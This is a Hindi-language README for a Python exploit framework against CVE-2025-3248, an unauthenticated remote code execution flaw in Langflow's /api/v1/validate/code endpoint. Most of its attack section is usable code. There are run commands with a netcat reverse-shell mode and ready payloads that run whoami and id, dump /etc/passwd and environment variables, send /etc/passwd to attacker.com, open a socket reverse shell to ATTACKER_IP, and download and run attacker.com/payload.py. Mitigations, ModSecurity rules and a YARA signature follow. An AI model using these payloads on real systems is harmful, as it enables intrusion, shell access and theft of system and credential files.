Langflow संस्करण ≤ 1.3.0 में एक गंभीर बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन (RCE) भेद्यता, CVE-2025-3248 के परीक्षण और प्रदर्शन के लिए एक व्यापक Python शोषण फ्रेमवर्क।
| गुण | मान |
|---|
| CVE आईडी | CVE-2025-3248 |
| उत्पाद | Langflow |
| प्रभावित संस्करण | ≤ 1.3.0 |
| भेद्यता प्रकार | अनऑथेंटिकेटेड रिमोट कोड निष्पादन (RCE) |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| CVSS स्कोर | 9.8 (गंभीर) |
| EPSS स्कोर | 92.57% |
| CWE | CWE-94 (कोड जनरेशन का अनुचित नियंत्रण) |
| भेद्य एंडपॉइंट | /api/v1/validate/code |
यह भेद्यता /api/v1/validate/code API एंडपॉइंट में मौजूद है, जो मनमाना पायथन कोड स्वीकार करता है और उसे उचित इनपुट सैनिटाइज़ेशन या सैंडबॉक्सिंग के बिना पायथन के असुरक्षित exec() फ़ंक्शन का उपयोग करके मान्य करता है। यह भेद्यता पायथन के निम्नलिखित व्यवहार का शोषण करती है:
Attacker → POST /api/v1/validate/code → Python exec() → RCE
↓
No Auth Required
↓
Arbitrary Python Code
↓
System Command Execution
Python >= 3.7
requests >= 2.25.0
pip install requests
pip install colorama # For Windows color support
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py
python3 cve_2025_3248_test.py -t <target_url> [options]
python3 cve_2025_3248_test.py -t http://target.com
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"
चरण 1: अपनी मशीन पर netcat लिसनर शुरू करें
nc -lvnp 4444
चरण 2: एक्सप्लॉइट चलाएँ
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444
उदाहरण:
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444
python3 cve_2025_3248_test.py -t http://target.com --timeout 30
positional arguments:
None
optional arguments:
-t, --target TARGET Target URL (e.g., http://target.com) [REQUIRED]
-c, --command COMMAND Command to execute (default: id)
--timeout TIMEOUT Request timeout in seconds (default: 10)
--exploit Enable exploitation mode (reverse shell)
--lhost LHOST Your IP address for reverse shell
--lport LPORT Your port for reverse shell
-h, --help Show this help message
payload = {
"code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
pass
"""
}
payload = {
"code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
pass
"""
}
payload = {
"code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
pass
"""
}
payload = {
"code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
pass
"""
}
payload = {
"code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
pass
"""
}
लैंगफ्लो अपग्रेड करें
pip install langflow>=1.3.0
# or
docker pull langflow:latest
नेटवर्क एक्सेस प्रतिबंधित करें
# Nginx reverse proxy - block vulnerable endpoint
location /api/v1/validate/code {
deny all;
}
प्रमाणीकरण लागू करें
# Add authentication middleware
@app.middleware("http")
async def auth_middleware(request, call_next):
if "/api/v1/validate/code" in request.url.path:
if not verify_auth(request):
return JSONResponse(status_code=401)
return await call_next(request)
ModSecurity नियम:
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"
YARA सिग्नेचर:
rule CVE_2025_3248_Langflow_RCE {
strings:
$api_path = "/api/v1/validate/code"
$exec = "exec("
$subprocess = "subprocess"
$os_system = "os.system"
condition:
$api_path and any of ($exec, $subprocess, $os_system)
}
# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"
# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes
/api/v1/validate/code पर असामान्य POST अनुरोध/tmp में असामान्य टाइमस्टैम्प के साथ बनाई गई फ़ाइलेंभेद्यता श्रृंखला निम्नानुसार काम करती है:
# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
{
"code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}
# Server processes it:
exec(code) # ← Dangerous! No sanitization
# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')
# Result: Arbitrary command execution
फ़ंक्शन परिभाषा के दौरान डेकोरेटर के साथ पायथन का व्यवहार:
# This code gets executed immediately:
@decorator_expression
def my_function():
pass
# Which means this payload executes the code:
@exec("malicious_code_here")
def vulnerable_function():
pass
| दिनांक | घटना |
|---|---|
| 2025-04-06 | भेद्यता खोजी गई और लैंगफ्लो टीम को रिपोर्ट की गई |
| 2025-04-17 | सार्वजनिक एक्सप्लॉइट जारी किया गया (Exploit-DB) |
| 2025-05-14 | FortiguardLabs आउटब्रेक अलर्ट जारी किया गया |
| 2025-05-21 | Zscaler ThreatLabz विश्लेषण प्रकाशित हुआ |
| 2025-05-22 | RecordedFuture ने सक्रिय शोषण की रिपोर्ट की |
| 2025-06-16 | TrendMicro ने FLODRIC बॉटनेट शोषण की रिपोर्ट की |
| 2025-06-17 | OffSec व्यापक विश्लेषण प्रकाशित हुआ |
| 2025-11-05 | SentinelOne भेद्यता डेटाबेस प्रविष्टि |
| 2025-11-20 | निरंतर शोषण प्रयास देखे गए |
अधिकृत सुरक्षा परीक्षण करते समय:
योगदान का स्वागत है! कृपया इन दिशानिर्देशों का पालन करें:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)महत्वपूर्ण कानूनी सूचना:
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है और निम्नलिखित कानूनों का उल्लंघन करती है:
निर्माता और योगदानकर्ता इस टूल के दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।
अंतिम अपडेट: 21 नवंबर, 2025
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0 ║
║ Use Responsibly - Authorized Testing Only ║
╚═══════════════════════════════════════════════════════════╝